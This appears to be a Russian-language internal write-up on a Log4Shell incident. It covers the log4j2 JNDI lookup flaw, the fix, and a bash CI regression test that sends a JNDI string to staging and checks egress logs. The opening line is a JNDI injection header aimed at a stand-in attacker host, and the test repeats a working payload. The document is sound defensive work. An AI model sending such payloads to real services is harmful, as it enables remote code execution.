User-Agent: ${jndi:ldap://attacker.internal/a}
(никто в проде даже не заметил)
Приложение логирует сырые данные из запроса. Уязвимая версия log4j2 интерпретирует строку как команду JNDI-запроса. Это может привести к удалённому выполнению кода. Исправление — обновить библиотеку и выключить опасные lookup’ы.
log4j-core,
и логирование делается прямо по внешнему вводу.
Тест шлёт заведомо опасную строку и следит, чтобы сервис не делал внезапных исходящих LDAP/HTTP-запросов наружу. Если фикс сломан и уязвимая логика «проснулась» — билд стопается.
#!/bin/bash
# log4shell-check.sh
set -e
curl -s -H 'User-Agent: ${jndi:ldap://test-internal.local/a}' \
"https://staging.example.internal/api/payments" >/dev/null
# наш агент-аудитор в стейдже пишет сетевую активность сервиса в файл last_egress.log
if grep -qi "ldap://test-internal.local" /var/log/last_egress.log; then
echo "[BLOCK] подозрительная внешняя JNDI-активность после запроса"
exit 1
fi
echo "[OK] сервис не пытался дернуть внешний JNDI по входной строке"
exit 0
Это превращает урок «у нас был Log4Shell» в автоматическую гарантию: если кто-то вернёт уязвимую версию логгера — пайплайн взорвётся.
Стандарт: запрещено деплоить сервисы с уязвимыми версиями логгера. Это проверяется автоматически.